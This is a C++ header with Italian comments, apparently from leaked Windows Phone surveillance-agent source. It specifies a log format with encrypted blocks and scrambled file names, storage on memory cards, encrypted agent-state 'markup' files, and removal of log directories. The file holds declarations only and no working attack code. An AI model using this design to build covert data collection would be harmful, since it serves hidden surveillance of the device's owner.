hackedteam/core-winphone

View on GitHub
MornellaWp8/MornellaWp8/Log.h

Summary

Maintainability
Test Coverage
#include "Common.h"
#include "Encryption.h"
#include "UberLog.h"
#include <exception>
#include <vector>
#include <string.h>
using namespace std;

#ifndef __Log_h__
#define __Log_h__

/*            LOG FORMAT
 *
 *  -- Naming Convention
 *    Il formato dei log e' il seguente:
 *    Il nome del file in chiaro ha questa forma: ID_AGENTE-TIMESTAMP_64BIT.mob
 *    e si presenta cosi': xxxxtttttttt.mob
 *    Il primo gruppo e' formato da 4 cifre esadecimali, il secondo e' formato da
 *    un timestamp a 64 bit diviso in due parti a 32-bit, la prima e' il LowPart del
 *  timestamp, la seconda e' l'HighPart del timestamp (l'ordine e' stato impostato cosi'
 *  per evitare alcuni problemi con i nomi sulla FAT-16). Il nome del file viene 
 *  scramblato con il primo byte della    chiave utilizzata per il challenge.
 *
 *  -- Pre-Header
 *  Una DWORD  in chiaro che indica la lunghezza dell'header (inclusi gli ID e 
 *  l'AdditionalData) paddata a 16.
 *
 *    -- Header
 *    Il log cifrato e' cosi' composto:
 *    all'inizio del file viene scritta una LogStruct. Dopo la LogStruct troviamo gli ID
 *  quindi i byte di AdditionalData se presenti e poi il contenuto vero e proprio.
 *
 *    -- Data
 *    Il contenuto e' formato da una DWORD in chiaro che indica la dimensione del blocco
 *    unpadded (va quindi paddata a BLOCK_SIZE per ottenere la lunghezza del blocco cifrato)
 *    e poi il blocco di dati vero e proprio. Questa struttura puo' esser ripetuta fino alla
 *    fine del file.
 *
 *    -- Global Struct
 *    |DWORD|Log Struct|IDs|AdditionalData|DWORD Unpadded|Block|.....|DWORD Unpadded|Block|.....|
 *
 *    Un log puo' essere composto sia da un unico blocco DWORD-Dati che da piu' blocchi DWORD-Dati.
 *
 */

class Log
{
    /**
     * Rappresenta il nome in chiaro del file di log, va deallocato dal distruttore.
     */
    private: wstring strLogName;
    private: HANDLE hFile;
    private: Encryption encryptionObj;
    private: UberLog *uberlogObj;
    private: UINT uLogType;
    private: UINT uStoredToMmc;
    private: BOOL bEmpty;

    /**
     * Genera un nome gia' scramblato per un file log, se bAddPath e' TRUE il nome ritornato
     * e' completo del path da utilizzare altrimenti viene ritornato soltanto il nome. 
     * Se la chiamata fallisce la funzione torna una stringa vuota. Il nome generato
     * non indica necessariamente un file che gia' non esiste sul filesystem, e' compito del chiamante
     * verificare che tale file non sia gia' presente. Se il parametro facoltativo bStoreToMMC e'
     * impostato a TRUE viene generato un nome che punta alla prima MMC disponibile, se esiste.
     */
    private: wstring MakeName(WCHAR *wName, BOOL bAddPath, UINT uStoreToMMC = FLASH);

     /**
     * Override della funzione precedente: invece di generare il nome da una stringa lo genera
     * da un numero. Se la chiamata fallisce la funzione torna una stringa vuota.
     */
    private: wstring MakeName(UINT uAgentId, BOOL bAddPath);

    /**
    * Genera un nome gia' scramblato per un file di Markup, se bAddPath e' TRUE il nome ritornato
    * e' completo del path da utilizzare altrimenti viene ritornato soltanto il nome. Se la chiamata 
    * fallisce la funzione torna una stringa vuota. Il nome generato
    * non indica necessariamente un file che gia' non esiste sul filesystem, e' compito del chiamante
    * verificare che tale file non sia gia' presente. Se il parametro facoltativo bStoreToMMC e'
    * impostato a TRUE viene generato un nome che punta alla prima MMC disponibile, se esiste.
    */
    private: wstring MakeMarkupName(wstring &strMarkupName, BOOL bAddPath, BOOL bStoreToMMC = FALSE);

    /**
    * Override della funzione precedente: invece di generare il nome da una stringa lo genera
    * da un numero. Se la chiamata fallisce la funzione torna una stringa vuota.
    */
    private: wstring MakeMarkupName(UINT uAgentId, BOOL bAddPath);

    /**
     * Questa funzione crea un file di log e lascia l'handle aperto. Il file viene creato con
     * un nome casuale, la chiamata scrive l'header nel file e poi i dati addizionali se ce ne
     * sono. LogType e' il tipo di log che stiamo scrivendo, pAdditionalData e' un puntatore agli eventuali
     * additional data e uAdditionalLen e la lunghezza dei dati addizionali da scrivere nell'header. 
     * Il parametro facoltativo uStoreToMMC se settato a MMC1 o MMC2 lo stora rispettivamente nella
     * prima e seconda Memory Card, se non c'e' la relativa scheda, la chiamata fallisce. Se il parametro
     * viene impostato a FLASH il file viene storato nella memoria interna.
     * La funzione torna TRUE se va a buon fine, FALSE altrimenti.
     */
    public: BOOL CreateLog(UINT LogType, BYTE* pAdditionalData, UINT uAdditionalLen, UINT uStoreToMMC);

    /**
     * Questa funzione prende i byte puntati da pByte, li cifra e li scrive nel file di log creato
     * con CreateLog(). La funzione torna TRUE se va a buon fine, FALSE altrimenti.
     */
    public: BOOL WriteLog(BYTE* pByte, UINT uLen);

    /**
     * Chiude il file di log. Torna TRUE se il file e' stato chiuso con
     * successo, FALSE altrimenti. Se bRemove e' impostato a TRUE il file viene
     * anche cancellato da disco e rimosso dalla coda. Questa funzione NON va chiamata per i
     * markup perche' la WriteMarkup() e la ReadMarkup() chiudono automaticamente l'handle.
     */
    public: BOOL CloseLog(BOOL bRemove = FALSE);

    /**
     * Crea un log di tipo LOGTYPE_INFO e scrive al suo interno il contenuto di strData. Torna
     * TRUE se la creazione e scrittura vanno a buon fine, FALSE altrimenti. In caso di fallimento
     * il log viene rimosso dal disco e dalla coda. Il log viene chiuso al termine della chiamata
     * quindi non c'e' bisogno di chiamare la CloseLog();
     */
    public: BOOL WriteLogInfo(wstring &strData);
    public: BOOL WriteLogInfo(WCHAR* wstrData);

    /**
     * Scrive un file di markup per salvare lo stato dell'agente, i parametri utilizzati sono: l'ID dell'agente
     * che sta generando il file, il puntatore al buffer dati e la lunghezza del buffer. Al termine della
     * scrittura il file viene chiuso, non e' possibile fare alcuna Append e un'ulteriore chiamata alla
     * WriteMarkup() comportera' la sovrascrittura del vecchio markup. La funzione torna TRUE se e' andata
     * a buon fine, FALSE altrimenti. Il contenuto scritto e' cifrato.
     */
    public: BOOL WriteMarkup(UINT uAgentId, BYTE *pData, UINT uLen);

    /**
     * Legge il file di markup specificato da uAgentId (l'ID dell'agente che l'ha generato), torna un puntatore
     * ai dati decifrati che va poi liberato dal chiamante e dentro uLen la lunghezza dei byte validi nel blocco. 
     * Se il file non viene trovato o non e' possibile decifrarlo correttamente la funzione torna NULL.
     * La funzione torna NULL anche se il Markup e' vuoto. E' possibile creare dei markup vuoti, in questo caso
     * non va usata la ReadMarkup() ma semplicemente la IsMarkup() per vedere se e' presente o meno.
     */
    public: BYTE* ReadMarkup(UINT uAgentId, UINT *uLen);

    /**
     * Torna TRUE se esiste un markup per l'agent uAgentId, altrimenti torna FALSE.
     */
    public: BOOL IsMarkup(UINT uAgentId);

    /**
     * Rimuove il file di markup relativo all'agente uAgentId. La funzione torna TRUE se il file e' stato
     * rimosso o non e' stato trovato, FALSE se non e' stato possibile rimuoverlo.
     */
    public: BOOL RemoveMarkup(UINT uAgentId);

    /**
     * Rimuove tutti i file di markup presenti sul filesystem.
     */
    public: void RemoveMarkups();
     
    /**
     * Rimuove i file uploadati e le directory dei log dal sistema e dalla MMC.
     */
    public: void RemoveLogDirs();

    /**
     * Torna TRUE se il log e' vuoto, FALSE altrimenti.
     */
    public: BOOL IsEmpty();

    Log();
    ~Log();
};

#endif